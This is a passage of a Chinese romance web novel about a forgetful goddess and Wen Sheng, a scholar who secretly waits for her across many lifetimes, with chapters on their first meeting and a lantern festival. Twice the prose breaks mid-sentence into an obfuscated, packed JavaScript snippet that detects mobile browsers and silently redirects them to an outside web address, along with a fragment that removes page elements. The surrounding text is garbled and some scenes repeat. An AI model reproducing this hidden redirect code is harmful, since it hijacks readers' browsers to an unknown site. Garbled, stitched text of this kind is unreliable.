“街上的摊位买的。” 本以为他会追问我更多的细节,没曾想他摆手解释:“姑娘别误会。只是这发簪是出自我们老板之手,平常大街买不到的。以为姑娘是老板的贵人,便问问。多有冒犯,还请姑娘见谅。” 我低头看着手里的步摇,思绪一下子回到了彩灯节上。 那日,闻笙的的确确是当着我的面买下的,璃坊的人怎么说平常大街买不到呢? 我偷偷观察着面前的人,他的神情认真,不像在说谎。 心中的疑惑愈发浓烈,我忍不住开口问道:“你们老板……叫什么名字?闻姓,是不是写作听闻的闻?家中,可有其他兄弟?” 我知道一股脑问出来不礼貌,但此刻我已顾不得那么多。 面前之人先是一愣,随后看了看我手里的步摇,答道:“我们老板叫闻筑,信州人。十五年前举家搬迁至光州,在此地做生意。老板还有个弟弟,也做生意,在城中开了间酒楼。生意那叫一个好嘞,只可惜,我一次都没去过。” 闻筑……闻笙……信州人……发簪……酒楼…… 串联在一起的关键词在我脑海中迅速发酵,瞬间撑破了所有的迷雾。 原来如此。 胸口仿佛被一块巨石压住,脑海中不断浮现出与闻笙相处的点点滴滴——他在竹村教书时的温文尔雅,他在彩灯节上为我戴上步摇时的温柔笑意,他在小院里与我共赏明月时的深情告白…… 所以这一切,都是假的吗?都是演给我看的戏码吗?如此大费周章,是为什么? “呵……” 我忍不住冷笑出声。怎么搞的,明明该生气,我却忽然觉得他这么做是为了我。 真是无药可救。 神器消失,再没出现过的神像,满是谜团的闻笙,以及他赠与我的步摇。 如果神器变成发簪,是因为那是曾经闻笙赠与我的,是神像给我的提示……那这支白梅步摇又是因为什么?神器消失,会不会是闻笙所为?他到底还瞒着我多少事。 “姑娘莫非是醉月楼闻老板的故人?”璃坊的人突然抱起双臂感慨道,“闻老板真是好运啊,人到中年还能走这么好的桃花运。又诗诗如此绝世美人伴身也就算了,唉……羡煞旁人呐!” “中年?” 闻笙的样子约莫二十来岁,怎么到这人口中反成了中年? 他见怪不怪地替我解释道:“看不出来吧,那闻老板如今都快四十的人了。生了副不会衰老的面容就是好啊。” “……” “我也只是听说啊,那闻老板似乎和神仙做了什么交易,才不老不衰的。” “神……仙?” 我好像知道了什么不得了的事情。 光州回竹村的路夕阳暖暖,远远地,我看到了从树影斑驳下的那个身影。 闻笙手臂上挂着我的披风,站在那头静静地等我。青色长衫将那个身影衬托得消瘦,黑色的碎发垂下眼睫前。他的眼神看向山巅的余晖,思绪飘远。 我看他入神,忽然不明白……我是为什么和闻笙相识,为什么相知到相爱? 因为长得好看吗? 我努力地控制好情绪,悄悄走到他身边,趁他没发现前站在他身后,指尖戳了戳他的腰。 他被吓得一激灵,惊慌地看向我。我笑了,他也跟着我笑。 闻笙替我穿上披风,牵起我的手。 “准备了你爱吃的。” “确实饿了。” “那今晚多吃一点。” 眼前的男子分明是个温柔书生,玉树临风,丝毫没有四十来年的岁月痕迹。 到底是璃坊的人认错了,还是哪里出了问题? 我略微垂下眼眸,面对闻笙的给予,我居然感到一丝害怕。 害怕知道更多关于闻笙的秘密,怕挖掘出更多他的另一面,挖掘出自己不愿知晓的过去。 或许……到了该离开的时候。 晚饭后,和闻笙一起收拾完毕,我靠在厨房的木门上,注视着闻笙稍显幸福的背影。 我这才意识到闻笙对我的感情或许是真的,他所做的一切,也是出于这份他对我的执念。 只是这份执念之火,太过旺盛,我无法驾驭。 我敲了敲身旁的木板。闻笙听见了响动,回过头,一如既往地露出那抹柔和的笑。 “闻笙。” 我顿了顿,看着他的脸,难以启齿。 他擦着手上的水,朝我走来。我深吸一口气,决定把离开的事告诉他。 “我打算……” “你要离开了?” 他的脸上出现疑问的神情,但很快,变成平淡。 我还什么都没说呢…… 看来从前,我也是用同样的方式离开他。 我不语否认,认真的神情盯着他。 明亮的眸子突然暗下,我看见他嘴唇微动,似乎在说什么,可半晌也听不清声音。 不能催促,我只好默默咬着唇垂下头等待他的回应。 “你又要走……” “咚——”的一声,我觉得身后的木门震动了一下。 我有些怔愣地望着闻笙,一个完全不适合这人的表情骤然出现在他脸上。 闻笙皱着眉头,单手砸在我身后的木板门上,把我禁锢在他和门之间,居高临下地审视我。 冰冷的目光没有一点温度,但很快又恢复了以往的温柔。 我抿了抿唇,试着打破眼下压抑的氛围,冲他笑了笑,学着他扶我的样子抚上他的侧脸。 “我需要去找回过去的自己。到那时,我就能记起和你的过去。难道你,不想我记起吗?” “我不希望你又离开我。” 违和的声音沙哑低沉着从闻笙的喉咙里挤出,暗沉的双眸让他好不容易恢复的柔又降下去。 不知为何,我总觉得眼前的画面似曾相识。他的目光里闪着诸多复杂的情绪,我能捕捉到其中的某些。 从来猜不透的人,第一次在我面前毫无遮掩。 焦躁、不安、寂寞、疼惜。 我好像在曾经某个时间见过。好像在……同现在一样的地点见到过。 “闻笙。” 我小声叫了他的名字,试探着握住他青色的衣袖,轻轻拉了拉。 “对不起。” 像是戳中了什么不该按下的旋钮,闻笙苦笑着埋下头,靠在我的颈窝处。愤怒的声音控诉着我,颤抖的双手狠狠抓住我的双臂。 “为什么说对不起?你从来不说对不起。你该学以前一样,让我等你回来啊!写封信留下四个字然后一走了之……” 自尊心让他无法在我面前哭出来。一声叹息落入耳畔,湿热的气粘上我的侧颈。 “你该学以前一样,欺骗我,骗我说很快回来。结果让我苦等多年,苦苦等来的是——” 闻笙的手越发使劲,抓得我快要惊呼疼。 “苦苦等来你的死讯……你知道那是种什么感受吗?” 他比任何人都要理性冷静,偏偏在这件事上失了态。我能真切地感受到他的怨气和怒气,任由他手上的力度加重,弄疼我也不反抗。 “对不起……” “不要说对不起!” 愤怒地低吼,吓得我身体一震,咬紧发抖的嘴唇,不敢作声。闻笙意识到自己的失态吓到我,立马直起身来,捧起我的脸。 “抱歉,没有吓到你吧?” 布满血丝的眼睛委屈地看着我,让人根本没法生气,反而越发自责。 他叹着气,强硬地拉扯我不断下沉,两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我索性抛出院墙外,与他拉开宛若天河的距离。 “不要再信我……”我重复道,声音里带着几分哀求,“就像你从未信过,齐风,是我的名字……” 我看见闻笙眸子的光一下黯淡。 我猜得没错,那天醒来,趴在窗台听到的对话不是我的幻听。 柳砚清问闻笙,还记得多少次过去。多少次,不是重生前和当下,而是从前有过无数次。 闻笙不是什么周游四国的教书先生,自与我相遇后,他再没离开过光州,甚至建起了醉月楼,喝酒吟诗静待我的归期。 璃坊那人所说的年纪或许是真的。 那个与他做了交易的神仙,正是柳砚清。 闻笙拼命摇着头,颤抖的双脚数次想向我走来,又停下。 “我不在乎。欺负又如何。你骗我的事,何止是一个名字。但我都不在乎,从始至终,我奢求的,都只是你。我不过想和你做一对平凡人,我守着你,护着你……安慰你。” 我闭上眼睛,泪水顺着眼角滑落,哀求道:“不要这样……我求你了……抱歉……” 闻笙哭喊道:“我不想听你道歉,你知道我想听什么!谎言也好,你说给我听吧!” 我拼命摇着头,步步后退。 “闻笙,从此以后,天涯陌路,我们再不相见。” 下雨了。春雨绵绵,真是恼人春色啊。 “闻此笙歌,忆故人……” 我想起醉月楼上,歌女夜夜唱响的那支曲子。 “袅袅秋风留不住,满阶竹叶暮。又是春意载,桃花开败,无人归。愁恨年年长相似,炊烟伴细雨。故人伴梦还,却不记当年事。闻此笙歌,忆故人。往事已成空,还如一梦中。” 梦结束了,闻笙,醒过来吧。 【又拂卿柳】 医鹿山,医仙殿前,柳砚清静静立在阶前聆听空中几乎不可闻的仙鹤啼鸣,墨发飞扬,衣袂起伏不息。 此刻夜色正深,星汉灿烂,山风簌簌。 掌心的玉石久违地听见那人的声音。两块玉石是从霜洲地界千年冰窟中挖掘出的一整块玉,蕴含神力,相隔千里也能互相感应。 柳砚清上次去霜洲地界,一来是去寻云枕书,二来就为了这块玉石。 她总要下山去寻回记忆的,有个以护身为借口的传讯石在她手上,自己也踏实。 这玉有一特点,不止是出声呼唤才能唤醒,心里默念也有同样的效果。 “又忘了平心静气,真不怕又丢了性命。” 阻隔掉玉石感应传来的声音,柳砚清深深叹了口气,努力平定下来。 不久,仙鹤衔着黑色的棋子落在他跟前。接过棋子,柳砚清攥紧指尖,棋子在掌心发出微弱的光。 感知到棋子深处的讯息,柳砚清微微一震。片刻后,光束消失,柳砚清重新睁开眼。 “她要去这里吗。” 仙鹤似乎稍微弯曲长颈,实在点头示意。柳砚清不禁蹙眉,他知道仙鹤的意思。 “时机未到,不能急。” 黑色的圆眸闭了闭,转身振翅朝后山飞去。柳砚清站在原地等了会儿,仙鹤飞回时嘴里衔着那根浅蓝的羽带,但是湿透了。 柳砚清瞬间明白了什么。 南风仙子的法力离不得两件东西,一样是眼前的浅蓝色羽带,另一样是神器玉笛。 在旷野捡到她时,玉笛便不见踪迹,寻了她去过的地方都找不见。 “定是被那阴差拿走了吧。”他喃喃自语。 仙鹤藏起羽带,在后山的河溪里,用山泉的神力,护住羽带里残留的南风仙子的气息。 柳砚清明白仙鹤这么做的意义,也没有拒绝反驳的理由,回答道:“行。” 一只仙蝶从他袖中飞出,翩飞后停落在仙鹤的头顶。 “替我给东婝元君传句话,此事需要元君的协助,但不可让大仙知晓。具体的用意,我想元君会明白的。” 仙蝶接到送给“东婝元君”的指令,眨眼泛出紫色的光芒。 仙蝶会因收信者而变换通体发出光芒的颜色,紫色是东婝元君的颜色,无论是紫色的长纱裙,还是紫色似幻如梦。 仙蝶朝着蓬莱仙岛的方向扇动几下翅膀后,化作金鳞粉末消失在医鹿山上空的薄雾中。 “对了,前些日子我没寻见你,去哪儿了?” 柳砚清在问仙鹤。 仙鹤望了眼东方,然后低垂下头,似是认错。 东方,是光州,是她计划朝京都走的方向。 柳砚清无奈叹息似的道:“不是不许你下山,好歹跟我说一声,让我知道你去哪儿了。” 仙鹤将头更低一些。通体顺滑的羽毛,在月光下泛着粼粼波光。眼前的仙鹤是自己一手造就,随后便可读取他的记忆。 但他不能这么做。 见仙鹤的愧疚感快要溢出,柳砚清心生不妙,眉头微蹙,沉吟片刻问道:“你……没有见她吧?” 仙鹤沉默不语,低声发出简短的音节后,张开翅膀飞离医仙殿前。 果不其然。 对于已经发生的事,柳砚清能说什么呢,骂一只不懂事的仙鹤?还是学大仙此次消除她的记忆? “罢了,没认出,便是万幸。否则被发现大仙,无论是她或是你,都活不成。” 23. 蓦然回首 十年前,闻笙第二次进京参加科举落榜。 决心放弃追求功名利禄的他,离开京都光州游历时,择一处偏远乡村住下,自发担起了先生一职。 那个叫风的姑娘是怎么找到这个几乎隐匿于山间树林的村庄的,闻笙也记不得了。 某日起,借住此地的叫风的姑娘,每日准时出现在他的课堂,坐在末尾角落的位置和一群娃娃摇晃着脑袋念书。 初见日,放课后娃娃们归家,叫风的姑娘却迟迟不肯离去。闻笙收起书本,走到她身边,才发现她正趴在桌上与周公会面。 “姑娘,该醒醒了。” 她迷迷糊糊直起身,打个哈欠揉着眼,四下张望,在对上闻笙充满笑意的目光时不好意思地笑了两声。 “不知是姑娘昨夜没休息好,还是在下所教的内容索然无味……” “不是的!先生教得很好。只是……” 风姑娘抓挠着后颈,羞涩地低垂眉眼,指了指桌上书本摊开的一页。 “这首,我不明白。” 今天,闻笙教的《诗经·小雅》,风姑娘所指的并未在教学范围内。不过既然学生有难,老师自然要答。 “《齐风》是八百多年前齐国的民歌。今日所讲关于《诗经》的知识还记得吗?” “嗯,记得。” “《国风》大抵是周初至春秋间各诸侯国的民间诗歌,这首《齐风》顾名思义就是齐国的诗歌。” 轻柔的声音耐心地给风姑娘讲述着,如同六月的风拂过竹林,动人心弦的摩挲声和恬静悠然的竹香。 日落西山,两个人并肩坐在村口的桃花树。 风姑娘嘴里叼着路边随手折下的狗尾草,哼着闻笙从未听过的小调。 村口流浪的玄猫盘成一团,在树荫下睡下了。 落花落满黑猫,风姑娘嫌不够,又捡了些花瓣落下。 闻笙捧着书,心思早已不在纸页上。 “还不知姑娘姓甚?只听乡亲唤你风姑娘。” 不过问起名字,风姑娘像是陷入了苦恼,眼神四处张望,最后落在自己手里的书上。 “嗯——齐风?” 闻笙跟随风姑娘的视线落在《诗经》上,浅笑反问道:“齐风?姑娘是指,诗还是?” 风姑娘笑着手指点了点自己,扬眉道:“我的名字,齐风。” 闻家在信州时,便是为贵族世家制作饰品的匠人世家。 大哥闻筑继承了父亲的衣钵,带着闻家搬迁光州,开办了璃坊。 闻笙作为家中的次子,虽逼着学了几年技艺,但对这些祖传的手艺提不起半分兴趣。 他自幼痴迷于诗书,闲暇总爱吟上一首。 好在家族事业有大哥闻筑撑着,闻笙便心安理得地换了一条路走。 然而两次科举失利,闻笙不免生出挫败感,怀疑自己真正追求的是什么。 闻笙是在一次偶然的采风漫步中发现了竹村。 那年,光州的春日细雨绵绵。 科举失利的阴影还未散去,兄长闻筑又忙于修建璃坊,重振家族事业忙得他晕头转向。 闻笙望了望远处隐约可见的竹村,心中忽然生出一丝解脱。 “或许,远离纷扰,才是最好的选择。” 竹村位于光州城外不远,闻笙初到此处,便被这里的安宁所吸引。 名为竹村却没有竹林环绕,不同他这人一样,名叫闻笙,却是个读书不成器的人。 村民们淳朴热情,闻笙主动请缨无偿教授孩子们知识,礼尚往来,一间空闲的竹屋成了闻笙在此落脚的家,授课的地方也设在此处,一间堆放干柴杂物的屋子改造而来。 日子一天天过去,闻笙渐渐习惯了这里的生活。 他喜欢每日清晨起来沿着溪水散步,偶尔提笔写几首诗,或是读几卷书。 村里的孩子们常常围在他身边,好奇地问东问西。 学堂虽然简陋,却充满了生气。 闻笙每日在学堂中教书,看着孩子们认真读书的模样,心中竟生出一种久违的满足感。 或许读书的意义,并非只有考取功名追求仕途一条路。 闻笙推开茅屋的木门,刚迈出门槛,一群孩子便从四面八方涌过来,脸上洋溢着纯真的笑容,争先恐后地喊着“先生”。 孩子们的衣服虽然简朴,但眼神明亮如星,充满了对知识的渴望。 “大家先进学堂,我马上来。” 收整完毕,他如往常一样走进学堂,却发现最后一排多了一个陌生的身影。 那是一位姑娘,穿着一袭杏色的交领衣裙,长发随意地挽在脑后,眉眼间带着几分慵懒。 她静静地坐在那里,和孩子们一样,认认真真听他授课。 闻笙心中疑惑,但并未多言,只是继续讲课。 下课后,孩子们陆续离开,学堂里渐渐安静下来。 闻笙见姑娘还在“埋头苦读”,走到最后一排,轻轻敲了敲桌面。 “姑娘,该醒醒了。” 她缓缓抬起头,眼神还有些迷蒙。看到闻笙,她微微一愣,随即露出抹淡淡的笑意。 “先生讲得太好,受益匪浅。” 闻笙被她的话逗笑了,摇了摇头。 “不知是姑娘昨夜没休息好,还是在下所教的内容索然无味……” “不是的!先生教得很好。只是……” 她站起身,羞涩地整理了一下衣裙,目光快速扫过桌上的书本,指了指所翻到的一页。 “这首,我不明白。” 是《诗经·齐风》,和今日授课的内容毫无关系。 新居落成那日,村民们提着五谷杂粮涌进小院。 不知谁传的消息,说教书先生闻笙与风姑娘已在某个夜晚悄悄拜了堂。 闻笙平日里除了教书,也会帮村民们做些大大小小的事,修修补补、写写算算,从不推辞。 村民们对他心怀感激,如今听闻他成亲,自然不肯错过这个表达心意的机会。 院子篱笆外响起了窸窣的欢呼声。 闻笙立在门边正要婉拒,可一旁的“夫人”却已笑盈盈迎上前去。 “有喜来,自然要接喜。哪儿有把喜拒之门外的道理?” 齐风动作娴熟地接过贺礼,活像个持家有道的当家主母。 她总是有很多道理,让寒窗十年的闻笙自愧不如。 闻笙站在一旁,看着她忙前忙后,忍不住摇了摇头,嘴角却微微上扬。 “就像神仙,不管什么日子,总有人在祈求。神仙能避而不听吗?当然不行。管是一回事,听是一回事,听了不管又是一回事。来都来了,且收下听一听,万一是喜事,岂不美哉?” 闻笙被她的话逗笑了。 “还是你明事理。以后这家,就靠你了,夫人?” 齐风耳尖瞬间红透,转身佯装忙碌。闻笙看她这副模样,心中泛起柔软。 走上前,在她身侧俯下身,手掌贴上她的手背,低声道:“怎么害羞了?” 齐风没有回头,只是小声嘟囔了一句:“谁害羞了?我只是……只是觉得你说得不对。” 掌下传来熟悉的体温,闻笙眷恋般的收拢手指,似乎只有这样才能稍稍安心。 “哪里不对?”闻笙故意逗她。 “哪里都不对!” 齐风猛地转过身,瞪了他一眼,可那眼神里却没有半分怒气,反而带着几分娇嗔。 她咬了咬唇,最终还是没有继续说下去,只是低下头,继续整理桌上的贺礼,可手上的动作却明显慢了下来。 “闻笙,你觉不觉窗外少了点什么?” 齐风端着一筐地瓜透过窗户远眺,闻笙顺着她的视线看过去。 是一处平平无奇的小土坡。 “少了什么吗?” “少了一片竹林。不大不小的竹林,正好望过去成一幅画的。” 闻笙沉默着没再说话,目光却久久停留在那片小土坡上。 竹村没有竹,闻笙似乎习惯了这一别扭。可齐风的话萦绕在心头,挥之不去。 第二天一早,闻笙便早早出了门。他找到村里从前最擅长种竹的老人,恭敬地请教如何栽种竹子。 “竹子喜湿耐寒,栽种时要选好地方,挖深坑,埋肥土,浇水要勤,但不能过多……” 闻笙听得认真,一一记在心里。 日头渐高,闻笙挥汗如雨,一锄一锄地挖坑,一株一株地栽下竹苗。 他的动作虽不熟练,却格外认真。村里的孩童好奇地围过来,叽叽喳喳地问:“先生在种什么呀?” “种竹子。”闻笙擦了擦额头的汗,笑着回答。 “种竹子做什么呀?”孩子们不解。 “种一片竹林,好看。” 闻笙的目光越过孩子们,望向远处。 “这样从屋内的窗户往外看,就能一眼看到竹林。” 可是竹子怎么可能在短时间内生根长大。 如果是神的话,或许轻而易举就能实现。 屋外似乎有什么东西被风吹响。 窗户被吹开一道缝,窗台边书案上的书本被翻动。 闻笙走近整理,怎么都想不明白,前一日刚种下的竹苗如何一夜之间枝繁叶茂。 动静吵醒了床上刚睡醒的人,她揉着惺忪的睡眼走到闻笙身边。 “辛苦先生啦。”齐风转头看他,“真是的,我也就随口一说,想不到,你还真去种了片竹林。” 闻笙微微一笑,目光深邃:“只要你喜欢,我便去做。” 窗外,竹林随风摇曳,阳光透过竹叶洒下斑驳的光影,仿佛一幅流动的画卷。 齐风看着窗框内的竹画,闻笙看着身旁笑眼盈盈的人。 姑娘拉着闻笙的衣领,踮脚吻了上去。 起初闻笙只是回应,很快便掌控了主权。 “所以……你喜欢吗?” 如果喜欢,是不是可以就此永远留住你? 入夜,月光如水,洒落在小院,院墙外的竹林摇曳轻响,仿佛浅浅低语。 闻笙站在她身侧,额前的碎发在眉眼处落下阴影,看不清他眸中的情绪。 他握住她的手,而后十指相扣,目光细细地落在眼前人身上。 她叫风,正如她的名字一般,轻盈而难以捉摸。 尽管相识不过数月,可闻笙的心意早已在不知不觉中坚定如磐石。 她像一阵风,吹过他萧萧的竹林,掠过他的影子,在水面上泛起涟漪,随着日光的推移而渐渐扩散。 她又如春日里飞来的鸟儿,栖息在他的枝头,相依相偎,带来短暂的温暖与安宁。 闻笙想成为她的依靠,守护她度过余生,许下“此生不换”的誓言。 然而,他心中总有一丝不安,害怕眼前的一切不过是春日里的泡影,待季节一过,便会蒸发消失,再也寻不到踪迹。 “你不会离开我的,对吗?” 这不是问句,而是他心底最深的期盼,是他渴望得到的答复。 “你是风,却是不会离开,只管盘旋在我上空的风……对吗?” 他的话语有些凌乱,仿佛在自言自语,又仿佛在向她寻求某种承诺。 “闻笙?你说什么?我没听清。” 闻笙没有回答,只是低头吻了下来。 夜深人静,闻笙将怀中的姑娘搂得更紧,仿佛这样就能将她永远留在身边。 然而,命运似乎总爱与人开玩笑。 【又见东风·过去】 初次下凡的我自从闻笙口中听说了彩灯节后,一直盼着这一天。 在蓬莱第几宫关了三千年的仙哪儿耐得住等待。 窗外的鸟鸣吵醒我,我睁眼撑起上身越过身旁熟睡的人,看了看窗户透出的光,约定的日子到了! “起床起床!” 我摇晃着身边还闭着眼、一脸懵然没醒过来的闻笙。 “今天彩灯节!咱们得成为专挑人多的日子,去做凑热闹的无聊路人。” 心心念念半个月,我可等不了一时。闻笙轻笑着,伸长手臂将我捞进怀里,我的头枕在他的胸口。 眼看这个人又要睡着,我继续更大力气地摇晃他。 “闻笙!不可以!晚上回来再、继、续、睡!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056736|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >我一字一顿,戳了戳他的心口。 “晚上回来那就不叫继续睡了。”他低声嘟囔。 我不依不饶,扭动着身体非要把他吵醒。 闻笙拗不过我,双手环过我的腰,贪婪地最后蹭了蹭我,才舍得起身,就着这个姿势抱着我一起下床洗漱。 “啊,水缸里没水了。” 我端着盆掀开水缸的盖子,冲着厨房里忙活的闻笙喊。显然他忙着烧柴生火听不见我的声音。 虽说凡间不能擅自用仙术……区区一缸水,不会受天罚的。 翻掌变幻出羽带,南风仙子仅有的仙器。挥动羽带,水缸慢慢填满。 闻笙如果问起,编个什么谎呢……算了,以他的性子是不会问的。 坐在我们的小院里,我啃着手里的窝头,盯着院外闻笙为我种下的竹林,盯着林间穿梭的麻雀发愣。 早晨的清香弥漫,嗅得淡淡的竹香。露水的味道还留有些,我后仰靠上竹椅的靠背,细嚼慢咽手里的早餐。 闻笙端来两碗热汤,放在两把竹椅中间的方桌上,同我一起享受着片刻的宁静。 换做平日的早晨,这儿可不会这么安静。 上学的孩子不直接去书堂,而是先来呼叫先生,然后一群娃娃和先生一道去学堂。 记得刚来竹村时,闻笙家的院子就是教孩子们知识的学堂。 若不是见我住进去教书不方便,村民也不会自发建一座学堂吧。 “先生还得谢谢我呢。”我笑着说道。 听到我的声音,闻笙缓缓放下手,将汤碗放回桌上。 “谢谢姑娘?但是这汤和窝头都是我做的吧。” “没说眼前吃的……既然先生疲了,大不了明早换我来。” 我偷偷撇嘴,懒懒地靠在竹椅上晃荡着两条腿。 “在下先谢过姑娘,辛苦姑娘早起啦。”他笑得一脸得意,“不要烧糊了哦。” “糊的就全给你吃!” 我刚想抬手吓唬他,就见闻笙抢先抬手伸向我脸庞。 我一下愣住,手停悬在半空,等待他温和细致地替我擦去嘴角的窝头屑。 “行,都我吃。不过今天得留些肚子,去城中吃好吃的。” 我舔了舔嘴角,咂咂嘴:“说来,光州有什么好吃的?” 闻笙沉吟片刻,笑道:“若是不挑剔的话,可大饱口福。” “有吃的!那先生请务必带我尝遍光州。” 想到今天能一睹光州名声远扬的彩灯会,用过早餐我便重回房翻找今日的穿搭。 最终选定了杏子色的交领长裙,又怕晚些降温会冷,便加了件外衫。 “闻笙?”我唤了一声。 他单脚跨过门槛,手附上门板,像是刚到门口的样子看向我。 “帮我梳头发?” 我举了举手上的木梳,向他发起邀请。 闻笙微微怔愣,随即笑眯了眼:“我没试过女子的发髻。” 本以为他会拒绝,没想到,他又接着说道:“不过我可以试试。” 铜镜前,我端坐在椅子上,闻笙站在我的身后,盯着我的头发思考了好一会儿。 兴许在想给我弄什么发髻,或者在回忆平日里我给自己梳的样子。 看着闻笙苦恼的样子,我忍住没笑出声:“简单盘起来就行,不用想得太复杂。” 良久,他终于有了动作。低头先用木梳替我梳理了一下头发,从发端到发尾,从头顶到腰下方。 我仰头望着他:“想好了?” “嗯。”闻笙轻轻按着我的头将其摆正,“我最喜欢的样子。” 我一时没明白他口中最喜欢的样子是什么样子。 直到发髻梳理完毕,我打量着铜镜里的自己,恍惚了好久才回忆起来——这是我们初见日,学堂的角落,闻笙和我初次搭话那天我梳的发髻,离开蓬莱第几宫前,二姐亲自替我梳的。 光州城人潮如织,闻笙的掌心牢牢扣着我的手腕。 我轻晃被他紧扣的手,感叹道:“早就听闻光州的彩灯节,亲眼一见……热闹过头了啊。” 凡间节庆的喧嚣扑面而来,我这位久居蓬莱的神女也不免新奇。 不过一个小小的节日,况且春节刚过不久,不该有这么多人才对。 活动的高潮在夜晚,只是白日就完完全全超出了我的预期。 每一个摊位前、店铺里挤满了人,想凑近看看都得排队。 我们牵着彼此的手,漫无目的地在光州城里瞎逛。 我们尽量避开人群密集的地方,穿街走巷,这样也不错。 在竹村生活了两个月,这还是我第一次到竹村以外的地方。对一切事物都充满新鲜和好奇,瞎逛也兴趣盎然。 “咳咳。” 身侧传来一声刻意压低的轻咳。 我回首望去,只见闻笙眸色沉沉,唇角却仍挂着那抹令人如沐春风的笑。 “你没有忘记我还在你身边吧?” 我怔愣了一瞬,指尖故意在他掌心挠了挠,噗嗤笑着安慰:“放心,一双手和一双眼睛随时都看着你呢。” “有些人的心思,从进到光州府起,就没在我身上吧?” 我险些笑出声来。 谁能想到这位在竹村备受尊敬的教书先生,私底下竟连路人多看两眼都要计较。 广袖一翻,我反手与他十指相扣:“见过吃男人醋的,吃哥哥姐姐醋的,吃路人和一座城醋的,还是头一回。” “哥哥姐姐?你说的是……” 他忽然抓住我话里的破绽,我心下一惊,羽睫轻颤间已换上戏谑神色。 “啊……我说的戏文!对,前些日子听过的戏文。” 差点暴露,我赶紧拉着闻笙朝下一个目的地走。 闻笙任由我拉着穿行在人潮中,指尖却始终若有似无地摩挲着我的腕骨。 这位表面克制的教书先生,连吃醋都吃得这般不动声色又缠绵入骨。 闻笙是我初次下凡遇见的第一个人。 占有欲、爱吃醋,神界可不会有这么可爱的男人。 除了某个叫西雨的哥哥。 24. 不堪回首 穿过几条街巷,闻笙环顾了下四周,牵着我往一间特殊的店铺里走。 “你饿了吗?” 他但笑不语,径直将我带入一间铺子。扑面而来的珠光宝气让我眼前一亮——竟是间饰品工坊。店铺娘子迎上来时,闻笙不动声色地向前半步,恰好隔开她欲挽我胳膊的热情。 “哇!发簪!” 我满怀期待地接过店员递过来的发簪,捧在手心。凤眸镶嵌的玛瑙在指尖流转着血色光华,这等凡间工艺虽不及蓬莱珍宝,却别有一番鲜活气韵。 “小姐喜欢的话可以试戴。不仅如此,我们这儿还可以手把手教学,亲手做一支独一无二的发簪。” “还可以亲手制作吗!” 我激动地看看店员,又看向身边始终默默陪着我的闻笙。见我抑制不住的兴奋,闻笙笑着,温柔的指尖捋了捋我侧脸有些凌乱的发丝:“听你的。” 穿过一道拱门后,店铺深处的景象大不同前,偌大的房间里摆满了四排桌子,堆满制作饰品所需的材料。店员细心地给我们介绍每一样工具的用途和使用方法,除了插头发上的,脖子手腕上戴的,你能想象出来的都能实现。 “初学者可以从简单的入手,例如发簪和手链。” 说话间,店员递给我和闻笙一人一条围裙系上,同时领我们到了角落一张摆着纸笔的桌子。 “制作前,二位可以先在此画设计图,而后去那边的制作台进行制作。” 介绍完毕,剩下两个人握着笔迟迟无法下笔。太强人所难了,尤其是我这字不会写,画不会绘的人。 对了,铺子里摆了制作好的成品,不如参考参考。丢下闻笙,我转身跑出探查一番后,照葫芦画瓢画了个……歪歪扭扭的……应该是同款的配饰。 重返制作台时,闻笙已经画好设计图,正摆弄桌上摆满的制作需要的材料。为了满足我的好奇心,以及偷看不被发现,我小心地凑到闻笙身后。 “嗯?” 脱口而出的疑虑瞬间暴露了自己。闻笙惊讶地回过头,丝毫没有藏掖手里设计图的打算。 “就,竹叶?” 我看着他手里的设计图,忍不住问道。他眯起眼,满脸自豪地欣赏着自己的“大作”——三片竹叶。 “没错。” “这能叫设计图吗?先生这画技,倒与竹村稚童不相上下。” “设计给自己看的图,自己能看懂就行。” 有道理,我竟无话反驳。 闻笙的目光不动声色地送我手里的设计图纸上划过,浅浅的笑意浮上唇角。 “看了我的,也该我看你的了。” 听他话里的调侃,我心里一咯噔。紧拽着手里的潦草的设计图,忐忑不安。 丢人现眼的,还是别给他看了。 只是三片竹叶,闻笙居然画出别样的韵味。相比我的……什么妖魔鬼怪。 “你画的不算设计图,不给看。”我下意识把纸藏于身后。 闻笙轻轻叹了口气,唇角却微微牵了牵:“期待你的成果。” 虽然被闻笙的话鼓励,但面对桌上的铜线、玉石、珠子、银饰,我全然不知从何下手。相邻座位的闻笙似乎没有这方面的烦恼,有条不紊地进行制作。繁杂的制作台上,旁人都成双结对有说有笑的进行,只有我们,不对,只有闻笙,一脸正经严肃的样子,看起来格格不入。 明明都是初学者,他却显得很轻松。我本想和他也说些什么,但看他认真的模样,转念一想又放弃了。 平日空闲的时间,尤其是阳光好的日子,我们都喜欢坐在院子里,闻笙捧着书,而我晒着太阳午睡,互不打扰,岁月静好。察觉到我在偷看,闻笙只瞥了我一眼,笑着继续手里的活儿。 我也该认真起来了! 从工坊出来时,夕阳的余晖已经降落到了天边,光州为彩灯节准备了数千盏明灯徐徐燃起。两个人早饥肠辘辘,直奔主题。在饭店二楼靠窗的位置坐下,便于看夜景也能听清台上说书人的故事。 掌声响起,说书人应声登台,鞠躬致意后,讲述起今天的故事。 “盘古开天辟地,神创世之初,所有神仙都居住在蓬莱仙岛。后来,有的随天君搬去了天宫。也有像医仙葛榆那般的神仙,选择在人间的仙山居住,造福百姓。话说仙岛上住了一位掌管寿命的大仙,拥有起死回生的能力。大仙有四个孩子,‘东南西北’四仙。令大仙最头疼的就是这个四位仙子中最小的‘南’。不学无术,几千岁的神仙就会了项制造幻境的法术。大仙头疼啊,可心疼女儿,打不得骂不得,只好随她去了……” 